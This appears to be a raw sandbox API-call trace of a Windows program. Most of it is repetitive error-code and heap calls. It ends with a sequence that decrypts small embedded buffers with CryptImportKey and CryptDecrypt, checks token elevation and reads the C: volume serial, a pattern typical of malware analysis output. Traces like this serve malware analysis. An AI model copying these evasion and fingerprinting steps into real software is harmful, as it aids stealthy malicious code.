[0265.253] SetLastError (dwErrCode=0x0) [0265.253] GetLastError () returned 0x0 [0265.253] SetLastError (dwErrCode=0x0) [0265.253] GetLastError () returned 0x0 [0265.254] SetLastError (dwErrCode=0x0) [0265.254] GetLastError () returned 0x0 [0265.254] SetLastError (dwErrCode=0x0) [0265.254] GetLastError () returned 0x0 [0265.254] SetLastError (dwErrCode=0x0) [0265.254] GetLastError () returned 0x0 [0265.254] SetLastError (dwErrCode=0x0) [0265.254] GetLastError () returned 0x0 [0265.254] SetLastError (dwErrCode=0x0) [0265.254] GetLastError () returned 0x0 [0265.254] SetLastError (dwErrCode=0x0) [0265.254] GetLastError () returned 0x0 [0265.254] SetLastError (dwErrCode=0x0) [0265.254] GetLastError () returned 0x0 [0265.254] SetLastError (dwErrCode=0x0) [0265.254] GetLastError () returned 0x0 [0265.254] SetLastError (dwErrCode=0x0) [0265.254] GetLastError () returned 0x0 [0265.254] SetLastError (dwErrCode=0x0) [0265.254] GetLastError () returned 0x0 [0265.254] SetLastError (dwErrCode=0x0) [0265.254] GetLastError () returned 0x0 [0265.254] SetLastError (dwErrCode=0x0) [0265.254] GetLastError () returned 0x0 [0265.254] SetLastError (dwErrCode=0x0) [0265.254] GetLastError () returned 0x0 [0265.255] SetLastError (dwErrCode=0x0) [0265.255] GetLastError () returned 0x0 [0265.255] SetLastError (dwErrCode=0x0) [0265.255] GetLastError () returned 0x0 [0265.255] SetLastError (dwErrCode=0x0) [0265.255] GetLastError () returned 0x0 [0265.255] SetLastError (dwErrCode=0x0) [0265.255] GetLastError () returned 0x0 [0265.255] SetLastError (dwErrCode=0x0) [0265.255] GetLastError () returned 0x0 [0265.255] SetLastError (dwErrCode=0x0) [0265.255] GetLastError () returned 0x0 [0265.255] SetLastError (dwErrCode=0x0) [0265.255] GetLastError () returned 0x0 [0265.255] SetLastError (dwErrCode=0x0) [0265.255] GetLastError () returned 0x0 [0265.255] SetLastError (dwErrCode=0x0) [0265.255] GetLastError () returned 0x0 [0265.255] SetLastError (dwErrCode=0x0) [0265.255] GetLastError () returned 0x0 [0265.255] SetLastError (dwErrCode=0x0) [0265.255] GetLastError () returned 0x0 [0265.255] SetLastError (dwErrCode=0x0) [0265.255] GetLastError () returned 0x0 [0265.255] SetLastError (dwErrCode=0x0) [0265.255] GetLastError () returned 0x0 [0265.256] SetLastError (dwErrCode=0x0) [0265.256] GetLastError () returned 0x0 [0265.256] SetLastError (dwErrCode=0x0) [0265.256] GetLastError () returned 0x0 [0265.256] SetLastError (dwErrCode=0x0) [0265.256] GetLastError () returned 0x0 [0265.256] SetLastError (dwErrCode=0x0) [0265.256] GetLastError () returned 0x0 [0265.256] SetLastError (dwErrCode=0x0) [0265.256] GetLastError () returned 0x0 [0265.256] SetLastError (dwErrCode=0x0) [0265.256] GetLastError () returned 0x0 [0265.256] SetLastError (dwErrCode=0x0) [0265.256] GetLastError () returned 0x0 [0265.256] SetLastError (dwErrCode=0x0) [0265.256] GetLastError () returned 0x0 [0265.256] SetLastError (dwErrCode=0x0) [0265.256] GetLastError () returned 0x0 [0265.256] SetLastError (dwErrCode=0x0) [0265.256] GetLastError () returned 0x0 [0265.256] SetLastError (dwErrCode=0x0) [0265.256] GetLastError () returned 0x0 [0265.256] SetLastError (dwErrCode=0x0) [0265.256] GetLastError () returned 0x0 [0265.256] SetLastError (dwErrCode=0x0) [0265.256] GetLastError () returned 0x0 [0265.256] SetLastError (dwErrCode=0x0) [0265.257] GetLastError () returned 0x0 [0265.257] SetLastError (dwErrCode=0x0) [0265.257] GetLastError () returned 0x0 [0265.257] SetLastError (dwErrCode=0x0) [0265.257] GetLastError () returned 0x0 [0265.257] SetLastError (dwErrCode=0x0) [0265.257] GetLastError () returned 0x0 [0265.257] SetLastError (dwErrCode=0x0) [0265.257] GetLastError () returned 0x0 [0265.257] SetLastError (dwErrCode=0x0) [0265.257] GetLastError () returned 0x0 [0265.257] SetLastError (dwErrCode=0x0) [0265.257] GetLastError () returned 0x0 [0265.257] SetLastError (dwErrCode=0x0) [0265.257] GetLastError () returned 0x0 [0265.257] SetLastError (dwErrCode=0x0) [0265.257] GetLastError () returned 0x0 [0265.257] SetLastError (dwErrCode=0x0) [0265.257] GetLastError () returned 0x0 [0265.257] SetLastError (dwErrCode=0x0) [0265.257] GetLastError () returned 0x0 [0265.257] SetLastError (dwErrCode=0x0) [0265.257] GetLastError () returned 0x0 [0265.257] SetLastError (dwErrCode=0x0) [0265.257] GetLastError () returned 0x0 [0265.258] SetLastError (dwErrCode=0x0) [0265.258] GetLastError () returned 0x0 [0265.258] SetLastError (dwErrCode=0x0) [0265.258] GetLastError () returned 0x0 [0265.258] SetLastError (dwErrCode=0x0) [0265.258] GetLastError () returned 0x0 [0265.258] SetLastError (dwErrCode=0x0) [0265.258] GetLastError () returned 0x0 [0265.258] SetLastError (dwErrCode=0x0) [0265.258] GetLastError () returned 0x0 [0265.258] SetLastError (dwErrCode=0x0) [0265.258] GetLastError () returned 0x0 [0265.258] SetLastError (dwErrCode=0x0) [0265.258] GetLastError () returned 0x0 [0265.258] SetLastError (dwErrCode=0x0) [0265.258] GetLastError () returned 0x0 [0265.258] SetLastError (dwErrCode=0x0) [0265.258] GetLastError () returned 0x0 [0265.258] SetLastError (dwErrCode=0x0) [0265.258] GetLastError () returned 0x0 [0265.258] SetLastError (dwErrCode=0x0) [0265.258] GetLastError () returned 0x0 [0265.258] SetLastError (dwErrCode=0x0) [0265.258] GetLastError () returned 0x0 [0265.258] SetLastError (dwErrCode=0x0) [0265.258] GetLastError () returned 0x0 [0265.259] SetLastError (dwErrCode=0x0) [0265.259] GetLastError () returned 0x0 [0265.259] SetLastError (dwErrCode=0x0) [0265.259] GetLastError () returned 0x0 [0265.259] SetLastError (dwErrCode=0x0) [0265.259] GetLastError () returned 0x0 [0265.259] SetLastError (dwErrCode=0x0) [0265.259] GetLastError () returned 0x0 [0265.259] SetLastError (dwErrCode=0x0) [0265.259] GetLastError () returned 0x0 [0265.259] SetLastError (dwErrCode=0x0) [0265.259] GetLastError () returned 0x0 [0265.259] SetLastError (dwErrCode=0x0) [0265.259] GetLastError () returned 0x0 [0265.259] SetLastError (dwErrCode=0x0) [0265.259] GetLastError () returned 0x0 [0265.259] SetLastError (dwErrCode=0x0) [0265.259] GetLastError () returned 0x0 [0265.259] SetLastError (dwErrCode=0x0) [0265.259] GetLastError () returned 0x0 [0265.259] SetLastError (dwErrCode=0x0) [0265.259] GetLastError () returned 0x0 [0265.259] SetLastError (dwErrCode=0x0) [0265.259] GetLastError () returned 0x0 [0265.259] SetLastError (dwErrCode=0x0) [0265.259] GetLastError () returned 0x0 [0265.260] SetLastError (dwErrCode=0x0) [0265.260] GetLastError () returned 0x0 [0265.260] SetLastError (dwErrCode=0x0) [0265.260] GetLastError () returned 0x0 [0265.260] SetLastError (dwErrCode=0x0) [0265.260] GetLastError () returned 0x0 [0265.260] SetLastError (dwErrCode=0x0) [0265.260] GetLastError () returned 0x0 [0265.260] SetLastError (dwErrCode=0x0) [0265.260] GetLastError () returned 0x0 [0265.260] SetLastError (dwErrCode=0x0) [0265.260] GetLastError () returned 0x0 [0265.260] SetLastError (dwErrCode=0x0) [0265.260] GetLastError () returned 0x0 [0265.260] SetLastError (dwErrCode=0x0) [0265.260] GetLastError () returned 0x0 [0265.260] SetLastError (dwErrCode=0x0) [0265.260] GetLastError () returned 0x0 [0265.260] SetLastError (dwErrCode=0x0) [0265.260] GetLastError () returned 0x0 [0265.260] SetLastError (dwErrCode=0x0) [0265.260] GetLastError () returned 0x0 [0265.260] SetLastError (dwErrCode=0x0) [0265.260] GetLastError () returned 0x0 [0265.260] SetLastError (dwErrCode=0x0) [0265.260] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x79) returned 0x1c19b0 [0265.261] GetLastError () returned 0x0 [0265.261] SetLastError (dwErrCode=0x0) [0265.261] GetLastError () returned 0x0 [0265.261] SetLastError (dwErrCode=0x0) [0265.261] GetLastError () returned 0x0 [0265.261] SetLastError (dwErrCode=0x0) [0265.261] GetLastError () returned 0x0 [0265.261] SetLastError (dwErrCode=0x0) [0265.261] GetLastError () returned 0x0 [0265.261] SetLastError (dwErrCode=0x0) [0265.261] GetLastError () returned 0x0 [0265.261] SetLastError (dwErrCode=0x0) [0265.261] GetLastError () returned 0x0 [0265.261] SetLastError (dwErrCode=0x0) [0265.261] GetLastError () returned 0x0 [0265.261] SetLastError (dwErrCode=0x0) [0265.261] GetLastError () returned 0x0 [0265.261] SetLastError (dwErrCode=0x0) [0265.261] GetLastError () returned 0x0 [0265.261] SetLastError (dwErrCode=0x0) [0265.261] GetLastError () returned 0x0 [0265.261] SetLastError (dwErrCode=0x0) [0265.261] GetLastError () returned 0x0 [0265.261] SetLastError (dwErrCode=0x0) [0265.261] GetLastError () returned 0x0 [0265.261] SetLastError (dwErrCode=0x0) [0265.262] GetLastError () returned 0x0 [0265.262] SetLastError (dwErrCode=0x0) [0265.262] GetLastError () returned 0x0 [0265.262] SetLastError (dwErrCode=0x0) [0265.262] GetLastError () returned 0x0 [0265.262] SetLastError (dwErrCode=0x0) [0265.262] GetLastError () returned 0x0 [0265.262] SetLastError (dwErrCode=0x0) [0265.262] GetLastError () returned 0x0 [0265.262] SetLastError (dwErrCode=0x0) [0265.262] GetLastError () returned 0x0 [0265.262] SetLastError (dwErrCode=0x0) [0265.262] GetLastError () returned 0x0 [0265.262] SetLastError (dwErrCode=0x0) [0265.262] GetLastError () returned 0x0 [0265.262] SetLastError (dwErrCode=0x0) [0265.262] GetLastError () returned 0x0 [0265.262] SetLastError (dwErrCode=0x0) [0265.262] GetLastError () returned 0x0 [0265.262] SetLastError (dwErrCode=0x0) [0265.262] GetLastError () returned 0x0 [0265.262] SetLastError (dwErrCode=0x0) [0265.262] GetLastError () returned 0x0 [0265.262] SetLastError (dwErrCode=0x0) [0265.262] GetLastError () returned 0x0 [0265.262] SetLastError (dwErrCode=0x0) [0265.262] GetLastError () returned 0x0 [0265.263] SetLastError (dwErrCode=0x0) [0265.263] GetLastError () returned 0x0 [0265.263] SetLastError (dwErrCode=0x0) [0265.263] GetLastError () returned 0x0 [0265.263] SetLastError (dwErrCode=0x0) [0265.263] GetLastError () returned 0x0 [0265.263] SetLastError (dwErrCode=0x0) [0265.263] GetLastError () returned 0x0 [0265.263] SetLastError (dwErrCode=0x0) [0265.263] GetLastError () returned 0x0 [0265.263] SetLastError (dwErrCode=0x0) [0265.263] GetLastError () returned 0x0 [0265.263] SetLastError (dwErrCode=0x0) [0265.263] GetLastError () returned 0x0 [0265.263] SetLastError (dwErrCode=0x0) [0265.263] GetLastError () returned 0x0 [0265.263] SetLastError (dwErrCode=0x0) [0265.263] GetLastError () returned 0x0 [0265.263] SetLastError (dwErrCode=0x0) [0265.263] GetLastError () returned 0x0 [0265.263] SetLastError (dwErrCode=0x0) [0265.263] GetLastError () returned 0x0 [0265.263] SetLastError (dwErrCode=0x0) [0265.263] GetLastError () returned 0x0 [0265.263] SetLastError (dwErrCode=0x0) [0265.263] GetLastError () returned 0x0 [0265.264] SetLastError (dwErrCode=0x0) [0265.264] GetLastError () returned 0x0 [0265.264] SetLastError (dwErrCode=0x0) [0265.264] GetLastError () returned 0x0 [0265.264] SetLastError (dwErrCode=0x0) [0265.264] GetLastError () returned 0x0 [0265.264] SetLastError (dwErrCode=0x0) [0265.264] GetLastError () returned 0x0 [0265.264] SetLastError (dwErrCode=0x0) [0265.264] GetLastError () returned 0x0 [0265.264] SetLastError (dwErrCode=0x0) [0265.264] GetLastError () returned 0x0 [0265.264] SetLastError (dwErrCode=0x0) [0265.264] GetLastError () returned 0x0 [0265.264] SetLastError (dwErrCode=0x0) [0265.264] GetLastError () returned 0x0 [0265.264] SetLastError (dwErrCode=0x0) [0265.264] GetLastError () returned 0x0 [0265.264] SetLastError (dwErrCode=0x0) [0265.264] GetLastError () returned 0x0 [0265.264] SetLastError (dwErrCode=0x0) [0265.264] GetLastError () returned 0x0 [0265.264] SetLastError (dwErrCode=0x0) [0265.264] GetLastError () returned 0x0 [0265.264] SetLastError (dwErrCode=0x0) [0265.265] GetLastError () returned 0x0 [0265.265] SetLastError (dwErrCode=0x0) [0265.265] GetLastError () returned 0x0 [0265.265] SetLastError (dwErrCode=0x0) [0265.265] GetLastError () returned 0x0 [0265.265] SetLastError (dwErrCode=0x0) [0265.265] GetLastError () returned 0x0 [0265.265] SetLastError (dwErrCode=0x0) [0265.265] GetLastError () returned 0x0 [0265.265] SetLastError (dwErrCode=0x0) [0265.265] GetLastError () returned 0x0 [0265.265] SetLastError (dwErrCode=0x0) [0265.265] GetLastError () returned 0x0 [0265.265] SetLastError (dwErrCode=0x0) [0265.265] GetLastError () returned 0x0 [0265.265] SetLastError (dwErrCode=0x0) [0265.265] GetLastError () returned 0x0 [0265.265] SetLastError (dwErrCode=0x0) [0265.265] GetLastError () returned 0x0 [0265.265] SetLastError (dwErrCode=0x0) [0265.265] GetLastError () returned 0x0 [0265.265] SetLastError (dwErrCode=0x0) [0265.265] GetLastError () returned 0x0 [0265.265] SetLastError (dwErrCode=0x0) [0265.265] GetLastError () returned 0x0 [0265.265] SetLastError (dwErrCode=0x0) [0265.266] GetLastError () returned 0x0 [0265.266] SetLastError (dwErrCode=0x0) [0265.266] GetLastError () returned 0x0 [0265.266] SetLastError (dwErrCode=0x0) [0265.266] GetLastError () returned 0x0 [0265.266] SetLastError (dwErrCode=0x0) [0265.266] GetLastError () returned 0x0 [0265.266] SetLastError (dwErrCode=0x0) [0265.266] GetLastError () returned 0x0 [0265.266] SetLastError (dwErrCode=0x0) [0265.266] GetLastError () returned 0x0 [0265.266] SetLastError (dwErrCode=0x0) [0265.266] GetLastError () returned 0x0 [0265.266] SetLastError (dwErrCode=0x0) [0265.266] GetLastError () returned 0x0 [0265.266] SetLastError (dwErrCode=0x0) [0265.266] GetLastError () returned 0x0 [0265.266] SetLastError (dwErrCode=0x0) [0265.266] GetLastError () returned 0x0 [0265.266] SetLastError (dwErrCode=0x0) [0265.266] GetLastError () returned 0x0 [0265.266] SetLastError (dwErrCode=0x0) [0265.266] GetLastError () returned 0x0 [0265.266] SetLastError (dwErrCode=0x0) [0265.266] GetLastError () returned 0x0 [0265.266] SetLastError (dwErrCode=0x0) [0265.267] GetLastError () returned 0x0 [0265.267] SetLastError (dwErrCode=0x0) [0265.267] GetLastError () returned 0x0 [0265.267] SetLastError (dwErrCode=0x0) [0265.267] GetLastError () returned 0x0 [0265.267] SetLastError (dwErrCode=0x0) [0265.267] GetLastError () returned 0x0 [0265.267] SetLastError (dwErrCode=0x0) [0265.267] GetLastError () returned 0x0 [0265.267] SetLastError (dwErrCode=0x0) [0265.267] GetLastError () returned 0x0 [0265.267] SetLastError (dwErrCode=0x0) [0265.267] GetLastError () returned 0x0 [0265.267] SetLastError (dwErrCode=0x0) [0265.267] GetLastError () returned 0x0 [0265.267] SetLastError (dwErrCode=0x0) [0265.267] GetLastError () returned 0x0 [0265.267] SetLastError (dwErrCode=0x0) [0265.267] GetLastError () returned 0x0 [0265.267] SetLastError (dwErrCode=0x0) [0265.267] GetLastError () returned 0x0 [0265.267] SetLastError (dwErrCode=0x0) [0265.267] GetLastError () returned 0x0 [0265.267] SetLastError (dwErrCode=0x0) [0265.267] GetLastError () returned 0x0 [0265.268] SetLastError (dwErrCode=0x0) [0265.268] GetLastError () returned 0x0 [0265.268] SetLastError (dwErrCode=0x0) [0265.268] GetLastError () returned 0x0 [0265.268] SetLastError (dwErrCode=0x0) [0265.268] GetLastError () returned 0x0 [0265.268] SetLastError (dwErrCode=0x0) [0265.268] GetLastError () returned 0x0 [0265.268] SetLastError (dwErrCode=0x0) [0265.268] GetLastError () returned 0x0 [0265.268] SetLastError (dwErrCode=0x0) [0265.268] GetLastError () returned 0x0 [0265.268] SetLastError (dwErrCode=0x0) [0265.268] GetLastError () returned 0x0 [0265.268] SetLastError (dwErrCode=0x0) [0265.268] GetLastError () returned 0x0 [0265.268] SetLastError (dwErrCode=0x0) [0265.268] GetLastError () returned 0x0 [0265.268] SetLastError (dwErrCode=0x0) [0265.268] GetLastError () returned 0x0 [0265.268] SetLastError (dwErrCode=0x0) [0265.268] GetLastError () returned 0x0 [0265.268] SetLastError (dwErrCode=0x0) [0265.268] GetLastError () returned 0x0 [0265.268] SetLastError (dwErrCode=0x0) [0265.269] GetLastError () returned 0x0 [0265.269] SetLastError (dwErrCode=0x0) [0265.269] GetLastError () returned 0x0 [0265.269] SetLastError (dwErrCode=0x0) [0265.269] GetLastError () returned 0x0 [0265.269] SetLastError (dwErrCode=0x0) [0265.269] GetLastError () returned 0x0 [0265.269] SetLastError (dwErrCode=0x0) [0265.269] GetLastError () returned 0x0 [0265.269] SetLastError (dwErrCode=0x0) [0265.269] GetLastError () returned 0x0 [0265.269] SetLastError (dwErrCode=0x0) [0265.269] GetLastError () returned 0x0 [0265.269] SetLastError (dwErrCode=0x0) [0265.269] GetLastError () returned 0x0 [0265.269] SetLastError (dwErrCode=0x0) [0265.269] GetLastError () returned 0x0 [0265.269] SetLastError (dwErrCode=0x0) [0265.269] GetLastError () returned 0x0 [0265.269] SetLastError (dwErrCode=0x0) [0265.269] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x9c) returned 0x1c1a38 [0265.269] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x1f) returned 0x1c1ae0 [0265.269] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x36) returned 0x1c1b08 [0265.269] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x37) returned 0x1c1b48 [0265.269] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x3c) returned 0x1c1b88 [0265.269] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x31) returned 0x1c1bd0 [0265.269] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x17) returned 0x1c1c10 [0265.269] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x24) returned 0x1c1c30 [0265.270] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x14) returned 0x1c1c60 [0265.270] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0xd) returned 0x1c1c80 [0265.270] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x25) returned 0x1c1c98 [0265.270] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x39) returned 0x1c1cc8 [0265.270] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x18) returned 0x1c1d10 [0265.270] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x17) returned 0x1c1d30 [0265.270] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0xe) returned 0x1c1d50 [0265.270] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x69) returned 0x1c1d68 [0265.270] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x3e) returned 0x1c1de0 [0265.270] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x1b) returned 0x1c1e28 [0265.270] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x1d) returned 0x1c1e50 [0265.270] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x48) returned 0x1c1e78 [0265.270] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x12) returned 0x1c1ec8 [0265.270] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x18) returned 0x1c1ee8 [0265.270] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x1b) returned 0x1c1f08 [0265.270] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x24) returned 0x1c1f30 [0265.270] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x29) returned 0x1c1f60 [0265.270] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x1e) returned 0x1c1f98 [0265.270] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x41) returned 0x1c1fc0 [0265.270] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x17) returned 0x1c2010 [0265.270] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x14) returned 0x1c2030 [0265.270] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0xf) returned 0x1c2050 [0265.270] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x16) returned 0x1c2068 [0265.270] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x2a) returned 0x1c2088 [0265.270] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x29) returned 0x1c20c0 [0265.270] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x15) returned 0x1c20f8 [0265.270] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x1e) returned 0x1c2118 [0265.270] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x2a) returned 0x1c2140 [0265.270] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x12) returned 0x1c2178 [0265.270] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x18) returned 0x1c2198 [0265.270] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x46) returned 0x1c21b8 [0265.270] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c11f8 | out: hHeap=0x1c0000) returned 1 [0265.271] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0265.271] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x80) returned 0x1c11f8 [0265.271] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x11781f6) returned 0x0 [0265.271] RtlSizeHeap (HeapHandle=0x1c0000, Flags=0x0, MemoryPointer=0x1c11f8) returned 0x80 [0265.271] GetLastError () returned 0x0 [0265.271] SetLastError (dwErrCode=0x0) [0265.271] GetLastError () returned 0x0 [0265.271] SetLastError (dwErrCode=0x0) [0265.271] GetLastError () returned 0x0 [0265.271] SetLastError (dwErrCode=0x0) [0265.271] GetLastError () returned 0x0 [0265.271] SetLastError (dwErrCode=0x0) [0265.271] GetLastError () returned 0x0 [0265.271] SetLastError (dwErrCode=0x0) [0265.271] GetLastError () returned 0x0 [0265.271] SetLastError (dwErrCode=0x0) [0265.271] GetLastError () returned 0x0 [0265.272] SetLastError (dwErrCode=0x0) [0265.272] GetLastError () returned 0x0 [0265.272] SetLastError (dwErrCode=0x0) [0265.272] GetLastError () returned 0x0 [0265.272] SetLastError (dwErrCode=0x0) [0265.272] GetLastError () returned 0x0 [0265.272] SetLastError (dwErrCode=0x0) [0265.272] GetLastError () returned 0x0 [0265.272] SetLastError (dwErrCode=0x0) [0265.272] GetLastError () returned 0x0 [0265.272] SetLastError (dwErrCode=0x0) [0265.272] GetLastError () returned 0x0 [0265.272] SetLastError (dwErrCode=0x0) [0265.272] GetLastError () returned 0x0 [0265.272] SetLastError (dwErrCode=0x0) [0265.272] GetLastError () returned 0x0 [0265.272] SetLastError (dwErrCode=0x0) [0265.272] GetLastError () returned 0x0 [0265.272] SetLastError (dwErrCode=0x0) [0265.272] GetLastError () returned 0x0 [0265.272] SetLastError (dwErrCode=0x0) [0265.273] GetLastError () returned 0x0 [0265.913] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x30) returned 0x1c1280 [0265.913] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x3340) returned 0x1c2208 [0265.914] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x174) returned 0x1c12b8 [0265.914] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x10) returned 0x1c1438 [0265.914] CryptAcquireContextW (in: phProv=0x117fcf0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x117fcf0*=0x7d5188) returned 1 [0265.925] CryptImportKey (in: hProv=0x7d5188, pbData=0x39fcf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x39fd5c | out: phKey=0x39fd5c*=0x7d4d58) returned 1 [0265.927] CryptSetKeyParam (hKey=0x7d4d58, dwParam=0x1, pbData=0x39fd44, dwFlags=0x0) returned 1 [0266.440] CryptDecrypt (in: hKey=0x7d4d58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c1438, pdwDataLen=0x39fd10 | out: pbData=0x1c1438, pdwDataLen=0x39fd10) returned 1 [0266.441] CryptDestroyKey (hKey=0x7d4d58) returned 1 [0266.442] GetTickCount () returned 0x6aa4 [0266.442] GetLastError () returned 0x0 [0266.442] GetLocaleInfoW (in: Locale=0x800, LCType=0x58, lpLCData=0x39fd80, cchData=32 | out: lpLCData="\x03") returned 16 [0266.442] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x1c) returned 0x1c1450 [0266.442] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x1c) returned 0x1c1478 [0266.442] GetVersion () returned 0x1db10106 [0266.442] GetCurrentProcess () returned 0xffffffff [0266.442] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x39fd68 | out: TokenHandle=0x39fd68*=0x80) returned 1 [0266.443] GetTokenInformation (in: TokenHandle=0x80, TokenInformationClass=0x14, TokenInformation=0x39fd60, TokenInformationLength=0x4, ReturnLength=0x39fd64 | out: TokenInformation=0x39fd60, ReturnLength=0x39fd64) returned 1 [0266.443] CloseHandle (hObject=0x80) returned 1 [0266.443] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x20) returned 0x1c14a0 [0266.443] CryptImportKey (in: hProv=0x7d5188, pbData=0x39fc5c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x39fcc4 | out: phKey=0x39fcc4*=0x7d4f60) returned 1 [0266.443] CryptSetKeyParam (hKey=0x7d4f60, dwParam=0x1, pbData=0x39fcac, dwFlags=0x0) returned 1 [0266.443] CryptDecrypt (in: hKey=0x7d4f60, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c14a0, pdwDataLen=0x39fc78 | out: pbData=0x1c14a0, pdwDataLen=0x39fc78) returned 1 [0266.443] CryptDestroyKey (hKey=0x7d4f60) returned 1 [0266.443] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x1e) returned 0x1c14c8 [0266.443] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x1e) returned 0x1c14f0 [0266.443] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x90) returned 0x1c1518 [0266.443] CryptImportKey (in: hProv=0x7d5188, pbData=0x39fc34, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x39fc9c | out: phKey=0x39fc9c*=0x7d4f60) returned 1 [0266.443] CryptSetKeyParam (hKey=0x7d4f60, dwParam=0x1, pbData=0x39fc84, dwFlags=0x0) returned 1 [0266.443] CryptDecrypt (in: hKey=0x7d4f60, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c1518, pdwDataLen=0x39fc50 | out: pbData=0x1c1518, pdwDataLen=0x39fc50) returned 1 [0266.443] CryptDestroyKey (hKey=0x7d4f60) returned 1 [0266.443] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c1518 | out: hHeap=0x1c0000) returned 1 [0266.443] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x1c14c8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0266.443] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c14f0 | out: hHeap=0x1c0000) returned 1 [0266.443] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c14a0 | out: hHeap=0x1c0000) returned 1 [0266.443] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x39fd04, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x39fd04*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0266.443] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c14c8 | out: hHeap=0x1c0000) returned 1 [0266.443] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x40) returned 0x1c14a0 [0266.443] CryptImportKey (in: hProv=0x7d5188, pbData=0x39fc90, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x39fcf8 | out: phKey=0x39fcf8*=0x7d4f60) returned 1 [0266.443] CryptSetKeyParam (hKey=0x7d4f60, dwParam=0x1, pbData=0x39fce0, dwFlags=0x0) returned 1 [0266.443] CryptDecrypt (in: hKey=0x7d4f60, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c14a0, pdwDataLen=0x39fcac | out: pbData=0x1c14a0, pdwDataLen=0x39fcac) returned 1 [0266.443] CryptDestroyKey (hKey=0x7d4f60) returned 1 [0266.444] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x34) returned 0x1c14e8 [0266.444] 